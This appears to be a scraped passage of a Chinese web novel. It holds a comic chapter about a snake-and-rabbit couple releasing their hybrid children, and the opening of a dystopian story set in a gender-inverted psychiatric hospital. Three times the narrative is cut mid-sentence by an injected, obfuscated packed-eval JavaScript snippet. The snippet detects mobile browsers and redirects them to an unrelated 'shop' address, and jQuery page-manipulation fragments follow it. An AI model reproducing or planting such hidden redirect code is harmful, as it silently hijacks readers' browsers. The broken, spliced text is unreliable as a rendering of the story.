杨母没说话,只是打量他,瞳孔眯成了一条缝。白白被看得手足无措,抱着恒温箱的手指不由得收紧。
“这个别吃,”杨柳低声提醒,“给您老带了年货。”
杨母终于收回目光,脸上的表情说不上是满意还是不满意,只“嗯”了一声,转身往里走:“哦、哦对,快进来,外面冷。”
白白松了口气,却又看见了更可怕的。
一个穿着不知什么动物的皮草的女人斜倚在门边,三十来岁的样子,手里捏着一根细长的烟。她比杨柳高半个头,身材丰腴,眼尾微微上挑,看人的时候带着点漫不经心的傲慢。
“哟,”她吐出一口烟,“老妹儿回来啦?”
杨柳点点头:“二姐。”
二堂姐的目光从她脸上移到白白脸上,又从白白脸上移到他怀里那个恒温箱上。箱子里,八条小东西正好奇地探出脑袋,八对粉色的长耳朵晃来晃去。
二堂姐的烟差点掉下来:“好家伙,老妹儿,你搁哪儿整的八条龙?”
杨柳沉默了两秒:“这不是角,这是耳朵。”
二堂姐凑近箱子,眯起眼仔细看。八条小东西被她突然放大的脸吓得缩回去,耳朵却还竖着,在箱子里抖成一团。
二堂姐直起身,表情复杂:“蛇的身子,但是长毛的耳朵,还有红眼睛。老妹儿,你这生的是啥?”
“混血。”杨柳解释道。
二堂姐的目光转向白白,上上下下打量了一遍。白白被她看得浑身不自在,往杨柳身后缩了缩。
“行吧,品味独特……”她顿了顿,又看一眼箱子里的八条小东西,忍不住补了一句,“就是这孩子,长得有点儿……抽象。”
15
两年后。
杨柳下班回家,推开门的瞬间,一只长着兔耳朵的银色小蛇从她脚边窜过去,紧接着是第二只、第三只、第四只……
她站在原地,面无表情地看着客厅。
沙发上,五条小东西正在靠垫之间打架,把抱枕里的棉絮咬得到处都是。电视机柜上,三条排成一排,齐刷刷地盯着屏幕里的动画片,耳朵随着片头曲一抖一抖。窗帘杆上,挂了七八条,正试图顺着布帘滑下来,结果缠成一团,嘤嘤乱叫。茶几底下,还有一堆挤在一起,不知道在干什么,只露出一堆晃来晃去的粉色耳朵。
“妈妈回来啦!”不知道谁喊了一声,所有的小东西同时停下动作,三十多对红眼睛齐刷刷看向门口。
然后——
“妈妈妈妈妈妈妈妈——”
三十多条兔兔蛇同时朝她涌过来,有的在地上爬,有的在沙发上跳,有的直接从吊灯上飞下来。他们的速度极快,眨眼的功夫就聚到她脚边,缠住她的脚踝,顺着裤腿往上爬,有的挂在她腰带上,有的钻进她外套口袋,还有几条爬到她肩膀上,用毛茸茸的兔脑袋蹭她的脸。
“嘤嘤嘤——”
“妈妈今天带好吃的了吗?”
“妈妈妈妈,哥哥抢我玩具!”
“妈妈你看我学会爬树了!”
杨柳被淹没在一片银白色里,一动不动地站了三秒。
然后她抬起头,看向厨房门口。
白白正站在那儿,挺着六个月的孕肚,手里拿着一个锅铲,围裙上沾着面粉,脸上带着笑:“回来啦?再等等,饭马上好。”
杨柳看着他,又低头看看缠在自己身上的三十多条小东西,深吸一口气。
晚饭是在一片混乱中进行的。
三十多条小东西分成三批吃饭,第一批吃的时候第二批在旁边等着,第三批在桌子底下抢掉下来的饭粒。白白挺着肚子忙前忙后,一会儿给这桌添菜,一会儿给那桌擦嘴,还要抽空回答各种奇怪的问题。
“爸爸,为什么我们有耳朵,妈妈没有?”
“因为妈妈是蛇,爸爸是兔子呀。”
“爸爸,我可以吃胡萝卜吗?”
“可以,但这块是妹妹的。”
“爸爸爸爸,姐姐打我!”
白白手忙脚乱地过去劝架,刚劝开这边,那边又打起来了。他扶着腰站在客厅中央,看着满屋子乱窜的银白色小东西,额头上渗出细密的汗珠。
杨柳坐在餐桌前,慢条斯理地吃着饭。
一条小东西爬到她腿上,仰起毛茸茸的脑袋:“妈妈,你为什么不吃胡萝卜?”
“不爱吃。”
“那妈妈爱吃什么?”
杨柳的筷子顿了一下,看向白白。
白白正背对着她,弯腰收拾被小东西们弄乱的沙发,孕肚让他动作有些笨拙,银色的长发垂下来,遮住了侧脸。
“吃兔子。”她说。
腿上的小东西愣了愣,然后“哇”地一声哭了。
那天晚上,把所有小东西都哄睡之后,白白坐在床边,轻轻抚摸着自己的肚子。
杨柳洗完澡出来,看到他这副模样,脚步顿了一下:“怎么了?”
白白抬起头,红眼睛里带着点疲惫,又带着点温柔:“他们说想吃草莓,我明天得再买二十斤。”
杨柳擦头发的手停住了:“二十斤?”
“嗯,”白白低头看自己的肚子,“这个出来以后,还要再加。”
杨柳沉默了。她在白白身边坐下,看着窗外的月亮:“还是送走吧。”
白白没说话。
“三十七条,”杨柳说,“加上肚子里这些,超四十了。房子住不下,你一个人照顾不过来。”
白白抬起头,红眼睛里蓄满泪水:“可是……”
“没有可是。”
白白咬着嘴唇,眼泪开始往下掉。
杨柳看着他,叹了口气,抱住他的腰:“不是扔,是放生。找个好地方,让他们自己生活。”
白白埋在她的头发里,闷闷地说:“那以后还能去看他们吗?”
“能。”
“那他们饿了怎么办?冷了怎么办?被欺负了怎么办?”
“他们是妖,不是动物。”
白白不说话了,但眼泪还在流。
杨柳用毛巾擦了擦头发上流下来的泪。两年了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297557|198607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这只兔子还是这么能哭。她的声音难得软了一点:“再不送,你累垮了,他们一样没人管。不如早点去适应环境。”
白白吸了吸鼻子,没反驳。
16
三天后,一个月黑风高的夜晚。
杨柳在前寻路,白白挺着孕肚背着那个大竹筐,偷偷摸摸地往森林公园的山谷里走。
溪水清浅,月光照在水面上,泛着银色的光。两岸是密密的树林,再往里是更深的山。
杨柳找了块平地,把筐放下,开始往外掏小东西:“一个一个来,别挤。”
小东西们兴奋起来,在她手里扭来扭去,有的直接跳到地上,往溪水里爬。
“妈妈,水好凉!”
“水里有吃的!”
“哇,有虫子!”
白白蹲不下来,只好扶着腰站在旁边,看着小东西们一个个在溪水里游远了。他的眼眶红了,但忍着没哭。
一条小东西回过头:“爸爸不一起来吗?”
“爸爸……爸爸过几天来看你们。”
“那妈妈呢?”
杨柳没回答。她把最后一条小东西放进溪水里,站起身,拍了拍手。
三十多条银白色的兔兔蛇在溪水里扑腾,耳朵湿漉漉地贴在脑后,红眼睛齐刷刷看着岸边。
白白终于忍不住了,眼泪啪嗒啪嗒往下掉。
“妈妈,”一条小东西问,“咱们什么时候回家?”
杨柳沉默了两秒:“这里就是家了。”
就在这时候,一束强光照过来:“别动!”
杨柳和白白同时僵住,溪水里的小东西们顷刻四散而去。
两个穿警服的人从树林里走出来,一个年轻的,一个中年的——全是老熟人。
年轻的那个拿手电筒照了照他们,然后他愣住了。中年人也愣住了:“怎么又是你们?”
场面一度非常尴尬。
民警看看杨柳,又看看白白——白白挺着六个月的孕肚,满脸泪痕,手里还拎着一个空筐。
年轻的那个表情复杂:“你们这是……”
杨柳迅速开口:“野餐。”
“半夜野餐?”中年民警显然不信,指了指白白手里的空筐:“不带点儿东西吗?”
杨柳面不改色:“吃完了已经。”
年轻民警张了张嘴,什么都没说出来。
中年民警伸出手:“身份证。”
两人同时掏出身份证。
中年民警看了看,把身份证还给他们,长长地叹了口气:“第二次了。第一次放生兔子,这次又是什么?”
“没放生,”杨柳始终坚持,“纯野餐。”
中年民警摆了摆手:“行了行了,反正这个归林业管,我们懒得追究。就一点,下次别大半夜进山成不?”
杨柳连忙点点头,拉着白白转身就走。
沿着溪水走了一会,白白突然停住。
他看着溪水里那些银白色的小东西。几颗小脑袋浮在水面上,红眼睛亮晶晶的,还望着他。
白白的眼泪又下来了。
“走吧。”杨柳说。
白白深吸一口气,转过身,跟着她往山下走。
身后传来一片细嫩的“嘤嘤”声,在夜风里飘了很远。
17
后来,那座山出现了一些奇怪的传闻。
那些放生爱好者们,在这里不管放生什么,都会莫名其妙地消失。
因为据说这个地方白天没人管,过来放生的人也越来越多。而放生的动物莫名消失了,又让他们觉得是山神显灵,于是这地方竟逐渐变成一个热门的功德刷新点。
有胆大的人在暗处蹲守,看到银白色长着兔耳朵的小蛇,把放生的动物拖进水里,两秒就吃干净了。
10. 逃离黑产天国(1)
虚拟世界黑产把人骗进来受罪?
嘿嘿,惹到她可真是踢到铁板了!
————————————
1
柯维躺在手术台上,耳朵里嗡嗡作响,分不清是来自头顶的无影灯,还是来自她脑海深处。
“放松。”医生说,声音从口罩后面闷闷地传出来。
放松?柯维在心里重复这个词。
她为了这一刻等了二十八年了——这副身体像一件不合身的衣服,她穿了二十八年,每一天都觉得皮肤在发痒。而今天,她终于可以摆脱它,成为真正的自己——成为生理上的女性。
有人在调整输液管,冰凉的液体滑进血管,沿着手臂一路向上,像是有什么东西正在悄悄潜入她的身体。她的眼皮开始发沉,无影灯的光晕从刺眼的白变成了一圈模糊的暖黄。
在意识完全昏沉之前,她似乎听见有人说话。
“这个符合条件,给她们吧?”
“那当然,毕竟咱这儿又不会真做什么SRS。”
“这个男的,还想当女人?该让他去吃吃苦头了。”
男的?!
这个词在柯维脑子里炸开,但没有声音。她想动,想坐起来,想喊——嘴唇动不了,舌头软得像一块吸满水的海绵。她想睁开眼睛,眼皮却有千斤重。她能感觉到自己的心脏在跳,砰砰砰,像是有人在胸腔里捶门,但那扇门正在越关越紧。
无影灯的光在视野里旋转着坍缩成一个小小的白点,然后,什么都没有了。
2
醒来的时候,柯维先闻到了消毒水的味道。
她睁开眼睛。天花板是白的,窗户在她左边,自己身上盖着医院病房的被子。
柯维低头看自己的手。手背上有胶布,输液针已经被拔掉了,留下一个小小的淤青点。她动了动手指,动了动脚趾,一切都还在,都还能动。
但有什么不对。
比如说,她是谁?
脑子里有什么东西正在往外涌,像潮水,把另一些画面、另一些声音、另一些她从未经历过的事情,硬生生地塞进她的记忆里。
她叫柯维,二十八岁,未婚,无业。她骑摩托车摔了,膝盖磕破了,轻微脑震荡,医生说住两天观察观察。
她有母亲,在一家零件厂做质检员。母亲有个夫郎,跟她母亲一起生活了十几年,老实,话少,做饭还行。
那个男人此刻就坐在她床边。
柯维转过头,对上那张脸,五十来岁,眉眼寡淡,烫了卷发,但新长出来的直发已经很长了。他穿着一件熨得平整的长裙,里面露出的衬衫领子却洗得发白了,手里攥着一块毛巾,正不知道该往哪儿放似的来回折叠。
“醒了?”他问,声音很轻,像怕吓着谁。
柯维看着他。她脑子里那个陌生的潮水告诉她,这个男人是母亲的夫郎,给她做过早饭,给她缝过校服上刮破的口子。柯维发烧的那个冬天,他半夜骑自行车去敲药店的门。
她应该叫他什么?
“叔。”柯维听见自己说,声音沙哑,像是从很远的地方传来,“我……有点儿渴。”
那个男人把毛巾放回床头柜上,热切地说:“叔去给你打壶热水。”
柯维还想再跟他说两句话,但男人已经风风火火地出门了。
柯维盯着那扇门,脑子里有两股力量在撕扯。一股是那些陌生的潮水,理所当然地告诉她这就是她的生活。另一股是一道微弱的电流,细得像一根针,在她意识的某个角落轻轻刺了一下,却又消失无踪……
3
出院之后,柯维回到家,理智上知道这里应该熟悉,但感觉却陌生。
她站在镜子前,抬起手,摸向自己的头顶。
头发短得扎手,是贴着头皮剃出来的一层青茬,像刚收割完的麦田。昨天洗澡的时候,她对着水房里那面模糊的镜子摸到这一头短毛,还以为是自己记忆出了错——毕竟她脑子里有两套记忆在打架,乱得很。
现在她看清了。
镜子里的人穿着宽松的工装裤,上身是一件灰色的短袖衫,布料厚实,看不出任何曲线。肩膀很宽,但并非天生的骨架大,而是肩上、手臂上肉乎乎的,也没有明显的腰线,至于胸前……
她拉开领口看了一眼,有的。但和她想象中的完全不同,更像是……像是什么?她不记得了。
柯维盯着镜子,胸口涌起一种古怪的感觉。
她应该觉得高兴。这副身体,从生理结构上来说,是她潜意识里渴望的那个答案——是女性的器官。她伸出手,摸了摸自己的脸。皮肤比记忆中粗糙一些,下颌圆圆的,虽然有点儿胖,但确实是女性的脸。
可为什么她觉得自己穿了一件不合身的衣服?
“柯维?”门外传来母亲的声音,沉沉的,带着一点不耐烦。
柯维迅速整理好衣领,从卧室出去。
母亲站在走廊里,身形高大,肩背宽阔。她穿着一身深蓝色的工装,袖子挽到手肘,露出结实的小臂。头发也是短的,比柯维长不了多少,贴在头皮上,灰白相间。
“过来吃饭。”母亲说,转身就走。
柯维跟在后面,穿过狭窄的走廊,走进厨房。叔叔——母亲的夫郎——已经在桌边坐着了,他看见柯维,嘴角动了动,像是想笑,又缩回去了。
柯维坐下来,端起碗。
“明天去登记。”母亲眼睛没抬,“下个月有考核。”
“什么考核?”柯维的脑袋还没转过来。
母亲抬起头,看了她一眼。那眼神很奇怪,像是在看一个说胡话的病人:“生育考核。你今年二十八了,再不去考,以后想考都排不上队。”
生育?
这个词砸进柯维脑子里,和另一套记忆里的什么东西撞在一起,发出嗡嗡的回响:“我……”
“你什么?”母亲把碗往桌上一顿,“别人家的孩子二十出头就去考了,你拖到二十八,还有脸你你我我?”
叔叔低着头喝粥,一声不吭。
柯维看着母亲,脑子里那根细针又开始刺了。她想说什么,嘴唇动了动,却说不出。
母亲说的对。生育是女性的特权,是每一个女人能获得的最高荣耀,但却不是每个人都配获得——只有通过考核的女性才有资格生育。而那些通不过的,只能成为街坊邻居口中笑话。
可问题是……
可问题是,生育造成的损伤呢?还有耽误的时间,或许她应该先找一份工作——
这个念头冒出来的时候,柯维自己也吓了一跳。生育怎么可能造成损伤?相比于这份荣耀,工作的事不值一提。她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297558|198607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是一个女人,她能够生育,她应该为此感到庆幸,应该去争取那个考核,应该完成母亲的期待,应该——
应该穿裙子。
这个念头毫无征兆地跳出来,把前面那一串“应该”撞得七零八落。
柯维低头看自己身上的工装裤、灰色短袖,脑海里不知为何出现了另一个衣柜,里面挂着的那几条裙子,不同颜色、不同长度、不同款式……她仿佛能看到商场广告牌上的长发模特,头发烫成大波浪,披在肩上。
柯维抬起头:“妈。”
母亲看了她一眼。
柯维突然犹豫了,但还是硬着头皮说:“我想……留长头发。”
母亲停下咀嚼。
叔叔的筷子在碗沿上磕了一下,发出清脆的声响。
“你说什么?”母亲问。
柯维努力迎着她的目光:“我想留长头发。还想……买条裙子。”
沉默。
厨房里的空气像是凝固了。柯维能听见自己的心跳,砰砰砰的,又急又重。
“你摔的是脑子?”母亲问,声音很平,但柯维听出了底下的东西——不是疑问,是警告。
“我……”柯维一时语塞。
“你什么?”母亲把筷子拍在桌上,“二十七八的人,说这种话,你有没有点儿羞耻心?”
柯维张了张嘴。
“裙子?长头发?”母亲往前走了一步,居高临下地看着她,“你是想当那种玩意儿?”
“那种”玩意儿?那种“玩意儿”?
“我没有……”柯维想要辩解。她就算是死也不想当男人,但她只是不想当……现在这种女人。
“够了。”母亲没有给她发言的机会,“吃饭。”
柯维低下头,端起碗。
粥是温的,但她咽下去的时候,觉得烫。
4
那天晚上,柯维睡不着。
她躺在自己的床上,盯着天花板。窗户开着,外面的风把窗帘吹得一起一伏,月光从那道缝隙里漏进来,在地上画出一条白线。
她摸着自己的短发。
白天的时候,她偷偷翻出叔叔的一件旧衣服——压在柜子最底下的一件,不知道藏了多少年。那是一条裙子,深蓝色的,棉布的,洗得发白了。她趁着母亲在里屋休息的时候,快速套在身上。
裙子有点短,也过于瘦,拉链拉不上。但站在镜子前的那一刻,柯维的心脏漏跳了一拍。
那是她——是她穿着裙子的样子。
她转了半圈,裙摆跟着飘起来,又落下去。她抬起手,摸了摸自己的头顶——如果有头发,长头发,披在肩上,被风吹起来的那种——
“你在干什么?”
柯维猛地转身。
叔叔站在门口,手里提着热水瓶,眼睛瞪得很大,像是不知道该说什么。
柯维的脸腾地烧起来,想解释但嗓子像是被什么堵住了,一个字都挤不出来。
叔叔看着她,以很奇怪的眼神,不是愤怒,也不是惊讶,更像是……担忧。还有一点柯维读不懂的害怕。
“快脱下来。”叔叔说,声音很轻但很急,“别让你妈妈看见。”
柯维弯腰把裙子扯下来,胡乱折了两下。叔叔接过裙子,没有说什么就默默地走了,仿佛什么都没有发生。
11. 逃离黑产天国(2)
5
但似乎母亲还是知道了。
第二天早上,柯维是被门外的说话声吵醒的。
“……撞坏的脑子还没好,说胡话。”母亲的声音压低了,但隔着一道门还是听得清。
“这种症状持续多久了?”另一个陌生的声音,公事公办的。
“从医院回来就这样。昨天还说想留长头发、穿裙子,可能是受刺激了。”
柯维坐起来,心跳开始加速。
“行,我们带回去看看。。”
“那……严重吗?”
“看情况,这脑子里的事儿……也都不好说。”
门外沉默了一会儿,而后门被推开了。
母亲站在门口,身后跟着两个穿白色制服的女人,其中一个手里拎着银色的箱子。
“穿上衣服。”母亲说。
柯维往后退了一步:“妈……”
“你这是病了。”母亲走过来,一把攥住她的手腕。那只手像铁钳一样,柯维挣了一下,挣不动,“再去心理医院住一段儿才能好。”
“我没病!”柯维辩解。
母亲并没给她机会,和那两个穿白制服的人一起把柯维架着出了家门,塞进心理医院的车里。
车门关上的时候,她听见母亲在外面说话,声音隔着玻璃闷闷的:“麻烦您了,尽量治,我们出得起钱。”
6
柯维被安排到了意见病房。一张床空着,另一张已经有人了。
“新来的?”她的新室友开口,声音沙沙的。
柯维点点头。
那个人看起来三十岁上下,短发,瘦得颧骨都突出来了,穿着和柯维一样的病号服,宽宽大大地挂在身上。她的床头写着名字:宫大伟。
倒是一个很符合女子气概的名字,然而……女子气概到底是什么?
“姐们儿,没事儿,住久就习惯了。”那人问了句,“哎,你多大?”
“二十八。”柯维回答。
“那比我小。”那人说,“我‘现在’三十二。你叫我小月就行。”
小月?
柯维迟疑了一下:“这是小名?”
她的床头写着“宫大伟”,里面并没有“月”,柯维确信自己识字。
“那个只是我身份证上的字。”小月说,语气很平常,“我自己叫张见月。张是弓长张,见是看见的见,月是月亮的月。”
7
心理医院的生活还可以。柯维潜意识里觉得自己似乎呆过类似的地方,但时间不长。
不过神奇的是,这里的病号女性占多半,动不动就打架。像柯维这间屋相安无事的还是少数,大概是归功于小月。
小月不像其他病房的人那样喜欢惹事,而是没事就从口袋里掏出一个巴掌大的本子,低头写字。
过了几天,柯维终于忍不住好奇心:“写的什么?”
小月抬头看她一眼,把本子递过来。
柯维接过来看。上面写的不是字,是画:奇怪的机械,有履带的车轮,长臂的末端装着铲斗。
“这是什么?”柯维问。
“挖掘机。”小月回答。
“挖掘机……是什么?”柯维似乎想起了什么,又没抓住。
小月没有回答,而是问了一个问题:“你相信有别的世界吗?”
柯维的心跳漏了一拍:“什么意思?”
“真实的世界。”小月尽量解释,“具体是什么样,我也不好说,但跟这里不一样……是符合逻辑的。”
柯维张了张嘴,说不出话。
“我妈说我是想当男的。”小月笑了一下,“我不想当男的,我只是想叫回‘张见月’——这才是我的名字。”
“这个名字……”柯维说,“很好。”
小月伸手和她握了握:“谢谢。”
两个人沉默了一会儿。
“那你呢?”小月问,“因为什么进来的?”
柯维犹豫了一下,把之前的事说了。手术醒来,想穿裙子,想留长头发。
小月听完,先评价了一句:“穿裙子干嘛?不方便。当然,你愿意穿就穿。”
而后她问:“你记得手术之前的事吗?我是说,跟现实不符的部分。”
柯维想了想,那套貌似是幻觉的记忆在脑子里越来越模糊,像退潮一样一点一点往外撤。她用力想抓住什么,却只抓到一些碎片——无影灯,想要换掉身体的感觉,还有一句“这个男的”。
男的?她从来不是男的。
“不太记得了。”柯维说。
小月看着她,轻轻地说了一句话:“也许你和我一样,本来就不属于这里。”
8
那天晚上,柯维睡不着。
她躺在床上,想着小月说的话。本来就不属于这里。那属于哪儿?另一个世界?
“另一个世界”,这个词在她脑子里转来转去,像一只怎么也赶不走的飞蛾。
但此时,柯维却又模模糊糊地想到,至少在这个世界里,她还是女的。而那个世界……不一定。
所以,或许还是别想那些更好,至少稳妥。
9
第二天早上,柯维被一阵嘈杂声吵醒。
她坐起来,看见病房的门是开的,对面床空了——小月人不见了,床单和被子也都没了。
过了一会,医生走进来,手里拿着一个信封:“柯维?”
柯维点头。
医生把信封递给她:“宫大伟留给你的。”
柯维撕开封口,抽出来——是一张纸,上面只有几行字,是小月的笔迹:柯维,我走了。我“现在”的东西都留给你,账户里的钱也转给你了,密码是我生日,你知道是哪天。你随便花,但别花得太快,我还会回来。
柯维的手抖得厉害。
医生摇了摇头:“早上发现的,猝死。”
柯维站在原地,动弹不得。
猝死?
她才三十二岁,没有任何基础病——心理医院的病历上写得清清楚楚。
然而柯维又想到,小月写的最后一行字,是“我还会回来。”
——回来?不是,这怎么回来?!
10
过了几天,柯维有了一个新室友。
看起来很年轻,不到二十岁,还是个小姑娘。短发圆脸,身材敦实,穿着和所有人一样的病号服,完全陌生。但她开口第一句话是:“姐们儿,我又回来了。”
柯维的手一抖,之前小月留下的本子差点掉在地上:“……什么?”
那人走到对面床边坐下,床垫发出一声闷响:“我是小月,张见月。”
柯维盯着她,脑子里嗡嗡:“不可能。小月死了,是猝死。”
“对,那个壳子死了。”那人说得很平静,“我又换了一个。”
柯维张了张嘴,不知道该说什么。她的第一反应是有人在开玩笑,或者医院给她安排了一个真有精神病的室友——但那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297559|198607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
双眼睛看着她,眼神和小月一模一样。
“你怎么证明?”柯维问。
那人想了想:“你拿的这个本子,里面有我画的挖掘机,还有塔吊,油罐车……”
柯维的呼吸停了一拍。
“那你的‘遗书’?”她听见自己问。
那人说:“最后一句话,我都写了我会回来。”
“真是你?”
“真是我。”
柯维沉默了很久:“怎么做到的?”
小月——现在这个陌生人——往后一靠,仰头看着天花板:“我也不知道具体怎么操作。就是……死了,然后醒了,换了一副身体,得到新的一套记忆,但原来的记忆还在。”
“那……你为什么要回来?”柯维问,“我以为你……至少换个身份,可以不用被关在这儿了。”
小月沉默了一会儿,直言道:“在这个世界,关在这儿和关在别处,没有区别。”
“我到这个医院来是为了找办法——我得回去,回到我的世界。”她接着说,“那边儿我家长还等着呢。而且中国第一次办夏季奥运会,我要回去看。”
柯维愣住了。
奥运会?
她脑子里有什么东西动了一下:“你说……奥运会?”
“2008年。”小月说,“北京奥运会,八月八号开幕。我得在那之前回去。”
柯维看着她,忽然觉得后背有点发凉。
“可是……”她慢慢地说,“北京奥运会,不是早就办过了吗?”
小月的表情顿了一下。
“我是说,”柯维努力抓住脑子里那些越来越模糊的东西,“我好像记得……北京办夏季奥运会是很久以前的事。后来还办了冬奥会,在2022年……”
她说到一半停住了,因为小月的脸色变了。
“2022年?”小月重复了一遍,愣着坐在那,一动不动。
柯维小心地问:“在那个世界,你多大年纪了?”
这是个简单的问题,小月不假思索地回答:“16岁,我1981年生的。”
她说完这句话,自己先愣住了:“不对,现在是2008年,那我现在应该27?不对,现在不止2008年……我记得2019年新冠,跟2003年非典很像……那我已经38了?可为什么还有2022年……”
小月抬起头,看着柯维,眼神里第一次出现了迷茫:“我到底几岁了?现在应该是哪年?”
病房里安静下来。走廊那头有人在吵架,声音远远地传过来,像隔着一层水。
柯维忽然想起小月之前说过的那句话:那个世界……是符合逻辑的。
符合逻辑。
2008年和2022年不可能同时存在,一个人不可能同时是16岁和41岁。
“你确定那边儿是真实的吗?”柯维问。
小月没有回答。
过了很久,她低下头,看着自己的手——那双陌生的、不属于“张见月”的手。
“我以为我知道。”她说,“现在不知道了。”
柯维不知道该说什么。她想安慰小月,但自己脑子里也是一团乱麻。
她想起手术台上那盏旋转着坍缩的无影灯,想起醒来后脑子里涌进来的那套记忆,想起母亲说“你这是病了”时的那种眼神。
如果小月不是从“真实世界”回来的,那她是从哪儿来的?
如果……两个世界都是假的呢?
12. 逃离黑产天国(3)
11
另一个世界假不假,这尚有疑问。但小月确信,这个世界绝对不真。
为此,她向柯维介绍了她目前的计划。
某天一大早,小月把柯维摇醒:“咱们去档案室。”
柯维坐起来,脑子还没完全清明:“什么档案室?”
“医院有个档案室,在三层,锁着的。”小月已经穿好了病号服,正把床单扯平,“我之前——上一个身体的时候——去探过。护士站有钥匙。”
柯维看着她,心跳开始加速:“你疯了?被抓到会——”
“会怎样?”小月转过身,“送进心理医院?姐们儿,这他妈就是心理医院了,再糟能糟到哪儿去?”
柯维张了张嘴,说不出话。
小月走过来,在她床边蹲下,压低声音:“柯维,你听我说。我死过很多次了。每一次我都以为下一个世界会是真的,但每一次都不是。这个世界也是假的,你心里清楚。”
“我清楚什么?”柯维有点抵触。
“它太刻意了。”小月说,“你不觉得吗?所有人都在告诉你,你是女人,所以你该去生育考核。你是女人,所以你该恨穿裙子的玩意儿。但是为什么?没有具体的解释,只有‘你是女人’一个原因。”
柯维的手指攥紧了被子。的确,她认同自己是女人,但她不认同这些东西。
“我不知道咱们是从哪儿来的。”小月说,“但我猜,这家医院里会有些线索——其他像咱们这样来自另一个世界的人,也会被当成疯子送到这儿来。”
12
护士站的钥匙挂在墙边的挂钩上。
小月走过去的时候步子很稳,像是只是去接杯水。她一边走一边和坐在那里的护士说话:“姐,今天天气不错哈。”
护士抬头看了她一眼,目光落在她的病号服上,又移开,没说话。
就在那个瞬间,小月的袖子从挂钩上掠过。
柯维站在走廊拐角,心都快从嗓子眼里跳出来了。她看见小月继续往前走,步子还是那么稳,左手垂在身侧,指缝里夹着一把银色的钥匙,在日光灯下闪了一下。
她拐进走廊,和柯维擦肩而过的时候,钥匙从她手里滑进柯维的掌心。
13
下午一点,午睡时间。
走廊里静悄悄的,两个人贴着墙走到楼梯间,下到三层。
档案室在走廊尽头,门是深灰色的,贴着标识:闲人免入。
小月用钥匙打开门,两人闪进去,把门带上。
档案室里很暗,窗帘拉着,只有几缕光从缝隙里漏进来。空气里有一股陈旧的纸味,或许是太浓了,让人感觉奇怪。
小月走到标注“病例”的柜子前,拉开时间最新的抽屉。里面是一摞一摞的牛皮纸档案袋,按编号排着。
“这是什么?”柯维凑过去问。
小月轻声答:“死人的档案。”
小月拿出来最近的一份。
姓名:宫大伟
年龄:32
死亡原因:心源性猝死
备注栏里有一行字,打印的,工工整整:该患者生前曾有多次自称“张见月”的记录,此人名表现出偏男性化,诊断为性别认知障碍。
柯维的手指发凉。
小月把档案塞回去,拉开另一个抽屉,又抽出一份。
年龄:29
死亡原因:心源性猝死
备注:该患者自称“我应该是个男人”,诊断为性别认知障碍。
小月没停,一份接一份地抽出来,一份接一份地看。
年龄:21
死亡原因:心源性猝死
备注:该患者该性取向为女性,虽自称自我认同为女性,但怀疑为因恐惧治疗而说谎,诊断为性别认知障碍。
年龄:27
死亡原因:心源性猝死
备注:该患者多次试图穿裙子,诊断为性别认知障碍。
年龄:29
死亡原因:心源性猝死
备注:该患者私自放走家中夫郎,家属举报其性取向异常,诊断为性别认知障碍。
年龄:19
死亡原因:心源性猝死
备注:该患者教唆其兄逃离家庭,声称嫂子家暴,被其兄举报,家属认为其背叛女性身份,诊断为性别认知障碍。
柯维的手停了一下。
她看着“背叛女性身份”这几个字,脑子里有什么东西轻轻地刺了一下。帮哥哥逃离家暴的嫂子,算背叛女性身份?柯维的记忆告诉她,这确实是一种背叛,女人应该团结,应该保护其他女人的利益,而不是帮她们的男人逃跑。但话又说回来,这个男人可是她的哥哥啊?
柯维她继续往下翻。
年龄:30
死亡原因:心源性猝死
备注:该患者拒绝参加生育考核,声称“宁可被人笑话”,家属认为其拒不接受女性荣誉,诊断为性别认知障碍。
柯维盯着那张纸。
所有人都认为,身为女人理应为自己拥有生育的功能而自豪,都应该去争取那份最高的荣耀。不想要荣誉的人会被耻笑,会被怀疑其是否真的具有生育能力——但这是正常的么?
“这也太扯了。”小月一边翻页一边说,“死的都是‘性别认知障碍’,还都是女人。”
里面有真的“性别认知障碍”——或者说跨性别,但更多的是牵强附会。女同性恋跟自身性别认知有什么关系?不喜欢生育又是哪门子的认知障碍?
还有那个帮助哥哥反被哥哥举报的,不知好歹的东西——柯维心里升出一股对男性的厌恶,或许有些人被歧视也是正常的。
“你想怎么做?”柯维对小月问。
“现在貌似可以确定触发条件了,就是表现出这个‘性别认知障碍’。”小月回答,“那咱们就表演一下,看看接近死亡的时候具体会发生什么。”
“那……万一真死了呢?”柯维迟疑。
“所以要在医生在场的时候演。”小月说,“不然就像我上次,睡梦中莫名其妙就死了。”
14
第二天查房的时候,小月行动了。
医生推门进来的时候,她正坐在床边,手里捧着那个本子装模作样地看。
“今天感觉怎么样?”医生走到小月床前,例行公事地问。
